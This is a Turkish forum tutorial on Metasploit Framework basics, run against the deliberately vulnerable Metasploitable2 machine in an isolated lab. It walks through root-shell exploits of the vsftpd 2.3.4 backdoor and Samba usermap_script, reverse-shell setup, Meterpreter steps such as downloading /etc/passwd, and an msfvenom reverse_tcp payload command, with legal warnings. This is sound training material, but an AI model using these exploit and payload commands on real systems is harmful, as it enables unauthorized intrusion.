Konuyu Okuyanlar: 1 Ziyaretçi

Metasploit Framework Temelleri: Metasploitable2 Üzerinde Sıfırdan İleri

Metasploit Framework Temelleri: Metasploitable2 Üzerinde Sıfırdan İleri
Selamlar TurkTeam ailesi,

Bu rehberde sızma testlerinin en çok kullanılan açık kaynak çatısı olan Metasploit Framework'ü sıfırdan ele alıyoruz. Teoriyi, mimariyi ve msfconsole kullanımını anlattıktan sonra, bilerek zafiyetli bırakılmış Metasploitable2 sanal makinesi üzerinde adım adım bir istismar akışı yürüteceğiz. Hedef, komutları ezberlemek değil, "ne yaptığımızı neden yaptığımızı" anlamaktır.

Konuda Anlatılacaklar
  1. Metasploit nedir, mimarisi ve temel kavramlar (exploit, payload, module)
  2. Lab ortamı: Metasploitable2 ve Kali kurulumu, ağ ayarı
  3. msfconsole parametre/komut referansı
  4. Uygulamalı: keşiften oturuma (vsftpd ve Samba örnekleri)
  5. Meterpreter ve oturum sonrası (post-exploitation) temelleri
  6. İleri seviye: db_nmap, workspace, resource script
  7. Sonuç, kaynakça ve yasal uyarı

1. Metasploit Nedir, Ne İşe Yarar?
Metasploit Framework, Rapid7 tarafından geliştirilen, Ruby ile yazılmış açık kaynaklı bir sızma testi çatısıdır. İçinde binlerce hazır exploit (zafiyet istismar kodu), payload (hedefte çalışacak yük), auxiliary (tarama, brute force gibi yardımcı modüller), encoder ve post modülü barındırır. Temel mantığı modülerdir: bir zafiyeti istismar eden exploit modülünü seçersiniz, ona gönderilecek payload'ı belirlersiniz, hedef bilgilerini (RHOSTS gibi) girersiniz ve çalıştırırsınız.

Metasploit, bir pentest'in "exploitation" aşamasını standartlaştırır. Elle shellcode yazmak yerine, test edilmiş modülleri parametrelerle kullanırsınız. Bu, tekrarlanabilir ve raporlanabilir testler demektir.

2. Lab Ortamı: Metasploitable2
Metasploitable2, Rapid7'nin eğitim amacıyla yayınladığı, kasıtlı olarak zafiyetli Ubuntu tabanlı bir sanal makinedir. Asla halka açık (internete bakan) bir ağa koymayın; yalnızca izole bir Host-Only veya Internal Network üzerinde çalıştırın.

İki sanal makineyi (saldırgan Kali + hedef Metasploitable2) aynı host-only ağa alın. Kali tarafında kendi IP'nizi doğrulayın:
Kod:
ip a # veya ip addr show eth0

Metasploitable2'ye konsoldan giriş (varsayılan kullanıcı/parola msfadmin/msfadmin) yapıp IP'sini öğrenin:
Kod:
ifconfig eth0

Metasploit'i başlatmadan önce PostgreSQL veritabanını başlatıp framework'ü kurun (Kali'de genelde hazır gelir):
Kod:
sudo systemctl start postgresql sudo msfdb init msfconsole
[Resim: attachment.php?aid=129]

3. Temel Komut ve Parametre Referansı
Aşağıda msfconsole içinde en sık kullanacağınız komutlar ve kısa açıklamaları yer alıyor.

search - Modül arama:
Kod:
search vsftpd

use - Modül seçme:
Kod:
use exploit/unix/ftp/vsftpd_234_backdoor

info - Seçili modülün ayrıntıları, seçenekleri ve referansları:
Kod:
info

show options - Doldurulması gereken parametreler (RHOSTS, RPORT vb.):
Kod:
show options

set / setg - Parametre atama (setg global atar, tüm modüllerde geçerli):
Kod:
set RHOSTS 192.168.56.101 setg RHOSTS 192.168.56.101

show payloads ve set PAYLOAD - Uyumlu yükleri listeleme ve seçme:
Kod:
show payloads set PAYLOAD cmd/unix/interact

check - (destekleyen modüllerde) hedefin zafiyetli olup olmadığını istismar etmeden sınama:
Kod:
check

exploit / run - Modülü çalıştırma:
Kod:
exploit

4. Uygulamalı: Keşiften Oturuma
Adım 1 - Port taraması. Önce hedefteki açık servisleri görelim. Metasploit içinden db_nmap ile tarama sonuçlarını doğrudan veritabanına yazabiliriz:
Kod:
db_nmap -sV 192.168.56.101
Çıktıda 21/tcp vsftpd 2.3.4, 139/445 Samba, 3306 MySQL gibi servisleri görürsünüz. Burada vsftpd 2.3.4 sürümü dikkat çekicidir; bu sürümde bilinen bir arka kapı vardır.


Adım 2 - vsftpd 2.3.4 arka kapısı. Bu sürümün dağıtım arşivine kötü niyetli bir backdoor eklenmiştir; kullanıcı adının sonuna "Smile" eklenince 6200 portunda bir komut kabuğu açılır. Metasploit bunu otomatikleştirir:
Kod:
use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.56.101 show options exploit
Başarılı olursa "Command shell session 1 opened" mesajını görür ve root yetkisiyle bir kabuk elde edersiniz. Doğrulamak için:
Kod:
id # beklenen çıktı: uid=0(root) gid=0(root) whoami
Çıktıda root görmeniz, servisin root ile çalıştığını ve tam sistem erişimi aldığınızı gösterir.


Adım 3 - Samba usermap_script (Meterpreter'a giriş). Metasploitable2'deki Samba 3.x sürümünde komut enjeksiyonuna yol açan bir zafiyet bulunur:
Kod:
use exploit/multi/samba/usermap_script set RHOSTS 192.168.56.101 set LHOST 192.168.56.102 exploit
Burada LHOST sizin (saldırgan) IP'nizdir; ters bağlantı (reverse shell) bu adrese döner. Oturum açıldığında yine root yetkili bir kabuk elde edersiniz.

5. Meterpreter ve Oturum Sonrası Temelleri
Meterpreter, bellekte çalışan, güçlü bir Metasploit payload'ıdır. Bir Meterpreter oturumunda sık kullanılan komutlar:
Kod:
sysinfo # işletim sistemi bilgisi getuid # mevcut kullanıcı pwd # çalışılan dizin download /etc/passwd # dosya indirme shell # etkileşimli sistem kabuğuna geçiş

Oturumları yönetmek için exploit sonrası arka plana alıp listeleyebilirsiniz:
Kod:
background sessions -l sessions -i 1


6. İleri Seviye İpuçları
Workspace kullanımı: Her hedef/iş için ayrı çalışma alanı açın, veriler karışmasın:
Kod:
workspace -a musteri_lab workspace musteri_lab

Toplanan verileri sorgulama:
Kod:
hosts services services -p 445

Resource script: Tekrarlayan adımları otomatikleştirmek için komutları bir .rc dosyasına yazıp çalıştırabilirsiniz:
Kod:
msfconsole -r taramam.rc

msfvenom: Framework ile birlikte gelen msfvenom, bağımsız payload üretir (yalnızca kendi lab'ınızda test için):
Kod:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f elf -o test.elf

Sonuç
Metasploit, modüler yapısı sayesinde keşif, istismar ve oturum sonrası aşamalarını tek çatı altında toplar. Metasploitable2 bu akışı güvenle öğrenmek için ideal bir sahadır. Önce search/use/show options/set/exploit döngüsünü oturtun, ardından Meterpreter ve post modülleriyle derinleşin. Gerçek testlerde her zaman kapsam ve yetki dahilinde çalışın.

Kaynakça
Yasal Uyarı
Alıntı:Bu içerik yalnızca eğitim amaçlıdır. Anlatılan tüm teknikleri SADECE kendi sisteminizde veya yazılı izin aldığınız sistemlerde uygulayın. İzinsiz erişim ve sistemlere müdahale, Türk Ceza Kanunu'nun 243-245. maddeleri kapsamında suçtur. Metasploitable2'yi her zaman izole bir ağda çalıştırın.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).


Ek DosyalarEkran Görüntüleri
   
Cevapla



Hızlı Menü: